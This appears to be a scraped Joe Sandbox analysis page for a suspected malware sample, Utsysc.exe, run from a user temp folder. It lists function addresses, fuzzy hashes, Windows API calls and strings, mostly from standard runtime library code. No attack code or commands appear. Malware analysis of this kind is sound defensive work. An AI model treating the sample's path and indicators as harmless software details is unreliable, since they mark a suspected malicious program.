Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Thread$Concurrency::details::CoreCountCurrentManager::PriorityResourcestd::bad_exception::bad_exception
String ID: 3
API String ID: 294561601-3930663615
Opcode ID: 3775f70b8ebde91e77740ef44d53f0b10bcda935a8626bbd9b2363c6f4449724
Instruction ID: abdebad0b99ed7eeb0358243c15f8273640e6c82a0c503612253e9dfb5791a68
Opcode Fuzzy Hash: 3775f70b8ebde91e77740ef44d53f0b10bcda935a8626bbd9b2363c6f4449724
Instruction Fuzzy Hash: D1711971A002108FDF48EF78C8967A97AE5FB48700F1891BBDD59EF346DB7488418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EF1C00 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(0000FDE9,?,?,?,00000000), ref: 00EF1C32

Strings

, xrefs: 00EF1C77
+ , xrefs: 00EF1C17

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Info
String ID: $+
API String ID: 1807457897-2902260274
Opcode ID: e27946a6a1486b40b66ccb47e643c0aaa55a15f4eba7bd3a2860632dbee83db1
Instruction ID: a9c4ae979748e4137f10e1edbdabf96fb2e39901b089bb3360f4129075b6542c
Opcode Fuzzy Hash: e27946a6a1486b40b66ccb47e643c0aaa55a15f4eba7bd3a2860632dbee83db1
Instruction Fuzzy Hash: 0C415A7010428CDBDB218B18CC84BF6BBFDEB15308F2414EDE68AE7042D2319A449B20

Uniqueness

Uniqueness Score: -1.00%

Function 00EEC926 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe, xrefs: 00EEC969, 00EEC970, 00EEC9A6

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
API String ID: 0-3495104836
Opcode ID: d60f8bd2e70894380f2de0f676880280ac5bd9a7ea0b0ab3ce8327c39afdd69d
Instruction ID: 884c68e1decf014b45513ef2db8265b1f279335f84cfacca4761da0f463c455e
Opcode Fuzzy Hash: d60f8bd2e70894380f2de0f676880280ac5bd9a7ea0b0ab3ce8327c39afdd69d
Instruction Fuzzy Hash: 8A41B371A0469CAFCB11DB9AD8819DEBBF8EB85300B24506AF509F7211D7B14E42D790

Uniqueness

Uniqueness Score: -1.00%

Function 00EDE766 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EDE7AE

Strings

3, xrefs: 00EDE77F, 00EDE795, 00EDE836
pContext, xrefs: 00EDE7A6

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: 3$pContext
API String ID: 2141394445-3169799313
Opcode ID: 0cd1d74250640968afdf1723e34fb223cfd31a2d2b3912f8f1b6eeececf1acbc
Instruction ID: 5ecea8e7b611e2e164d17ce86942e67c62cda3ac6a63e5a051298f30dcb2ba85
Opcode Fuzzy Hash: 0cd1d74250640968afdf1723e34fb223cfd31a2d2b3912f8f1b6eeececf1acbc
Instruction Fuzzy Hash: 92415C35E00219DFCB08EF99C8C49AEB7B5FF84714B1590AAD501BB351C770AD429B90

Uniqueness

Uniqueness Score: -1.00%

Function 00EF2A90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,0000FDE9), ref: 00EF2B60
__freea.LIBCMT ref: 00EF2B69

Part of subcall function 00EEE3CB: HeapAlloc.KERNEL32(00000000,?,?,?,00EF1DBE,00000220,?,?,?,?,?,?,00EEAFBD,?), ref: 00EEE3FD

Strings

+ , xrefs: 00EF2AA3

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: AllocHeapStringType__freea
String ID: +
API String ID: 2523373117-2754784493
Opcode ID: 8bda4da4d919de7fa7d0dcdaef7b22b596e954a9395884f770f400908125c56c
Instruction ID: a6ff477bfd97ba49ad2789fe28bc9a739975fbd82470ab1e671ffdf376eb709f
Opcode Fuzzy Hash: 8bda4da4d919de7fa7d0dcdaef7b22b596e954a9395884f770f400908125c56c
Instruction Fuzzy Hash: A331BC72A0020EABDB219F65DC41EBF7BA9EF44324F095168FE14B7251E7348D51DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EC6927 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00EC6940

Strings

1, xrefs: 00EC69F3
5120, xrefs: 00EC6987

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID: 1$5120
API String ID: 514040917-1666195334
Opcode ID: 1b4c58d817b0fed1322fee3d9b5439fe63193b1c920a6efac286a364c0867f5b
Instruction ID: e01422407d6f8ac81cb5a3e2d0fdd2eaa6711a4e899d72fd6eda9e34c56af5a4
Opcode Fuzzy Hash: 1b4c58d817b0fed1322fee3d9b5439fe63193b1c920a6efac286a364c0867f5b
Instruction Fuzzy Hash: 8E216DB0900288ABDB14EF68CA1BBDD7FF89B06744F5001CCE54567282D7765B498BE3

Uniqueness

Uniqueness Score: -1.00%

Function 00ED24B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00ED24CD
_SpinWait.LIBCONCRT ref: 00ED2503

Strings

3, xrefs: 00ED24ED, 00ED251E

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: SpinWait
String ID: 3
API String ID: 2810355486-3930663615
Opcode ID: 53f6bf26cc177c318f2b084aea210b8ebdc1d058aa3092a54a7a29887ed92cc4
Instruction ID: ed1a56bd789a50c7e78580fd91f2e366c7c54bec4efbe9021b33f82fe8cf8454
Opcode Fuzzy Hash: 53f6bf26cc177c318f2b084aea210b8ebdc1d058aa3092a54a7a29887ed92cc4
Instruction Fuzzy Hash: 170128319006218BCA256F39FA28B6977D4EB21325F04B45FD966F3754C724ED838B42

Uniqueness

Uniqueness Score: -1.00%

Function 00EE5231 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SpinUntilBlocked.LIBCMT ref: 00EE5241
Concurrency::details::FreeThreadProxy::SetAffinity.LIBCMT ref: 00EE528C

Part of subcall function 00EE544C: Concurrency::details::HardwareAffinity::operator==.LIBCONCRT ref: 00EE545A

Strings

3, xrefs: 00EE5255

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Thread$AffinityAffinity::operator==BlockedFreeHardwareSpinUntil
String ID: 3
API String ID: 2209302084-3930663615
Opcode ID: 09e6ae25ed00ee7f235637712671cd6a4454c6ec15f7e28c55d51a7fbebb28df
Instruction ID: 406b59ec41511fc0417bf0aa5359db8c7725db8f4fdb3f91cc87a79f78cf8b1e
Opcode Fuzzy Hash: 09e6ae25ed00ee7f235637712671cd6a4454c6ec15f7e28c55d51a7fbebb28df
Instruction Fuzzy Hash: 10016236A00A09ABCB05EF69D48145EF7B6FF8D314700452BEE16A7355D770A9058BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00EE5374 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EE53CB

Strings

3, xrefs: 00EE53A2
pContext, xrefs: 00EE53C3

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: 3$pContext
API String ID: 2141394445-3169799313
Opcode ID: 7acbc954c750db26b6dcc42dafd2fe216556ade36fdb9b49fed790837cc268ad
Instruction ID: ac72c6fb854b1b49e9fe10be632738623244a18088b429da8ed4577d0750ea96
Opcode Fuzzy Hash: 7acbc954c750db26b6dcc42dafd2fe216556ade36fdb9b49fed790837cc268ad
Instruction Fuzzy Hash: 73F0A436A04A0CABCB04EB65D895D9DF3B4AF54358F10513AE60177291CBB0AD4ACA91

Uniqueness

Uniqueness Score: -1.00%

Function 00EE4280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00EE42AE

Part of subcall function 00EDC9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00EDC9C1

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000003,00000004,00000000,?), ref: 00EE42CB

Strings

3, xrefs: 00EE4299

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::Event$ObjectSingleThrowTraceWait
String ID: 3
API String ID: 299550707-3930663615
Opcode ID: 00ef5612468a673a120aaef10dd314a0b5d03f580235efedd21e948f4286f538
Instruction ID: b1eae4ddbffa3e15e5468f891fcc388a00d160015b906a79a1697847dc1aeba1
Opcode Fuzzy Hash: 00ef5612468a673a120aaef10dd314a0b5d03f580235efedd21e948f4286f538
Instruction Fuzzy Hash: 09F0E971700214AFDB00AB19CC45F2AB7ECEB49774F114155F65AE33D1C670BC029A90

Uniqueness

Uniqueness Score: -1.00%

Function 00EDEC0C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxyFactoryManager::GetFreeThreadProxyFactory.LIBCONCRT ref: 00EDEC21
Concurrency::details::FreeThreadProxy::AssociateExecutionContext.LIBCONCRT ref: 00EDEC4E

Strings

3, xrefs: 00EDEC3D

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Thread$Concurrency::details::FactoryFreeProxy$AssociateContextExecutionManager::Proxy::
String ID: 3
API String ID: 2958197399-3930663615
Opcode ID: de5ab9aa889048457a9f2d864be849f1a5f9a64256300f84f9fc670b3478f9d7
Instruction ID: 9d59256d80388ede8fc6252ef2e3566db4d238280062c983ecf5b3be3e05f518
Opcode Fuzzy Hash: de5ab9aa889048457a9f2d864be849f1a5f9a64256300f84f9fc670b3478f9d7
Instruction Fuzzy Hash: 32F08271300A15AFCB04AF69D880959FBA9FF59768700413AE61E87311CB71AC22DBC4

Uniqueness

Uniqueness Score: -1.00%

Function 00ED0544 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,00EDA054,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 00ED056C
CreateSemaphoreW.KERNEL32(?,00EDA054,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 00ED058E

Strings

3, xrefs: 00ED0566, 00ED0588

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: 3
API String ID: 1078844751-3930663615
Opcode ID: 61e0f2ed8a9f67ceff4b70edec132a029b820335c830a80c24132afde5309ff8
Instruction ID: bb9afff8da191bd811187269ae1cd5f59ee8371c76a3c11c41ae09110e55e0d8
Opcode Fuzzy Hash: 61e0f2ed8a9f67ceff4b70edec132a029b820335c830a80c24132afde5309ff8
Instruction Fuzzy Hash: 23F0B23650412DABCF225F90EC149DE7F66FF08B50B099016FE0966220C7729D62BFD0

Uniqueness

Uniqueness Score: -1.00%

Function 00EDBFF3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ContextBase::ReleaseWorkQueue.LIBCMT ref: 00EDBFFF

Part of subcall function 00EDC5C7: Concurrency::details::WorkQueue::LockedSetOwningContext.LIBCMT ref: 00EDC5E2
Part of subcall function 00EDC5C7: Concurrency::details::ScheduleGroupSegmentBase::DetachActiveWorkQueue.LIBCONCRT ref: 00EDC5EB

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00EDC024

Part of subcall function 00EDC9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00EDC9C1

Strings

3, xrefs: 00EDC011

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Context$Concurrency::details::$Base::$Work$EventQueue$ActiveDetachGroupLockedOwningQueue::ReleaseScheduleSegmentThrowTrace
String ID: 3
API String ID: 1802185470-3930663615
Opcode ID: 0ab00acedc2ff28e9d4fcdeb454a7f8c2ea445eb2c8b876ecb264fcce26700cd
Instruction ID: 697a7a3fb06b54b7423766944cbfc7d52abb211e12e48db5591e11bb3d7d66bf
Opcode Fuzzy Hash: 0ab00acedc2ff28e9d4fcdeb454a7f8c2ea445eb2c8b876ecb264fcce26700cd
Instruction Fuzzy Hash: 86E0D876700214AFD704AB44DC46D3EF7ECEF887A4B10004BFA02A7381CAB0BD018BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00ED0502 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateEventExW.KERNEL32(?,00ED35CA,00000000,00000000,?,001F0002,00000000,?,?), ref: 00ED0524
CreateEventW.KERNEL32(?,00000000,00000000,00000000,00000000,?,00ED35CA,00000000,00000000,?,001F0002,00000000,?,?), ref: 00ED053B

Strings

3, xrefs: 00ED051E

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: CreateEvent
String ID: 3
API String ID: 2692171526-3930663615
Opcode ID: 98a4dfdebb4a1033f1c26c61446c58e6ba0cd5f7c70f70addac9a9498cd05a78
Instruction ID: 4ffdd6bddfca95174bf1f7831fd8f8789d0bbc558bdbe2022c6f9dc80fac3d3a
Opcode Fuzzy Hash: 98a4dfdebb4a1033f1c26c61446c58e6ba0cd5f7c70f70addac9a9498cd05a78
Instruction Fuzzy Hash: B2E0E57651011CBBCF165F50EC159EE7F2AFF08761B098015FE19A6220C772AD61EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EEED92 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,00EEDD93,-00000020,00000FA0,00000000,4F1E7031,?,00000000), ref: 00EEEDD2

Strings

InitializeCriticalSectionEx, xrefs: 00EEEDA2
3, xrefs: 00EEEDC2

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: 3$InitializeCriticalSectionEx
API String ID: 2593887523-752690664
Opcode ID: 31374b755a82685e52970a33d35f61dcfa312b409eca196d3351b9f2da887967
Instruction ID: ac931b49021ba4aea939451e4dca7fb2c8716cc4a2122a3ca9c632bb7c451add
Opcode Fuzzy Hash: 31374b755a82685e52970a33d35f61dcfa312b409eca196d3351b9f2da887967
Instruction Fuzzy Hash: B2E0923154025CB7CF123F61CC05C9E3F26EB54BA0B004020FA19292A2C7B29821FBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00EDFC44 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,?,00EDFB46,?), ref: 00EDFC4D
SetLastError.KERNEL32(0000007F,?,?,00EDFB46,?), ref: 00EDFC71

Strings

3, xrefs: 00EDFC65

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: EncodeErrorLastPointer
String ID: 3
API String ID: 688273888-3930663615
Opcode ID: 8675d07bee399636d136107c3c3aaf6ff99db30d0f6106ed92e97350450686fd
Instruction ID: 26178af9290b4eb6268419ccbbb889a741089bb107822c13edca63281b1f6d1f
Opcode Fuzzy Hash: 8675d07bee399636d136107c3c3aaf6ff99db30d0f6106ed92e97350450686fd
Instruction Fuzzy Hash: 56E02632A1422C6BD600B7B4BC09659BF94FB04371F004232FA66E72E2DB606C0396A8

Uniqueness

Uniqueness Score: -1.00%

Function 00EEEC93 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00EEECC7

Strings

3, xrefs: 00EEECBD
FlsAlloc, xrefs: 00EEECA3

Memory Dump Source

